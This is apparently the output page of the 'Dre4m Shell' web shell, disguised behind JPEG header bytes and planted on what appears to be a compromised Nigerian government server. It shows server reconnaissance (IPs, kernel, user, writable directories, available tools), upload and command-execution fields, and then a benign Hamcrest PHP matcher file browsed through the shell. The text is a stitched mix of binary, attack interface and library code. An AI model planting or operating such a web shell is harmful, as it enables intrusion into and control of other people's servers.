ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.138.102.89
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/OrderingComparison.php
<?php
namespace Hamcrest\Number;

/*
 Copyright (c) 2009 hamcrest.org
 */

use Hamcrest\Description;
use Hamcrest\TypeSafeMatcher;

class OrderingComparison extends TypeSafeMatcher
{

    private $_value;
    private $_minCompare;
    private $_maxCompare;

    public function __construct($value, $minCompare, $maxCompare)
    {
        parent::__construct(self::TYPE_NUMERIC);

        $this->_value = $value;
        $this->_minCompare = $minCompare;
        $this->_maxCompare = $maxCompare;
    }

    protected function matchesSafely($other)
    {
        $compare = $this->_compare($this->_value, $other);

        return ($this->_minCompare <= $compare) && ($compare <= $this->_maxCompare);
    }

    protected function describeMismatchSafely($item, Description $mismatchDescription)
    {
        $mismatchDescription
            ->appendValue($item)->appendText(' was ')
            ->appendText($this->_comparison($this->_compare($this->_value, $item)))
            ->appendText(' ')->appendValue($this->_value)
            ;
    }

    public function describeTo(Description $description)
    {
        $description->appendText('a value ')
            ->appendText($this->_comparison($this->_minCompare))
            ;
        if ($this->_minCompare != $this->_maxCompare) {
            $description->appendText(' or ')
                ->appendText($this->_comparison($this->_maxCompare))
                ;
        }
        $description->appendText(' ')->appendValue($this->_value);
    }

    /**
     * The value is not > $value, nor < $value.
     *
     * @factory
     */
    public static function comparesEqualTo($value)
    {
        return new self($value, 0, 0);
    }

    /**
     * The value is > $value.
     *
     * @factory
     */
    public static function greaterThan($value)
    {
        return new self($value, -1, -1);
    }

    /**
     * The value is >= $value.
     *
     * @factory atLeast
     */
    public static function greaterThanOrEqualTo($value)
    {
        return new self($value, -1, 0);
    }

    /**
     * The value is < $value.
     *
     * @factory
     */
    public static function lessThan($value)
    {
        return new self($value, 1, 1);
    }

    /**
     * The value is <= $value.
     *
     * @factory atMost
     */
    public static function lessThanOrEqualTo($value)
    {
        return new self($value, 0, 1);
    }

    // -- Private Methods

    private function _compare($left, $right)
    {
        $a = $left;
        $b = $right;

        if ($a < $b) {
            return -1;
        } elseif ($a == $b) {
            return 0;
        } else {
            return 1;
        }
    }

    private function _comparison($compare)
    {
        if ($compare > 0) {
            return 'less than';
        } elseif ($compare == 0) {
            return 'equal to';
        } else {
            return 'greater than';
        }
    }
}

Anon7 - 2022
AnonSec Team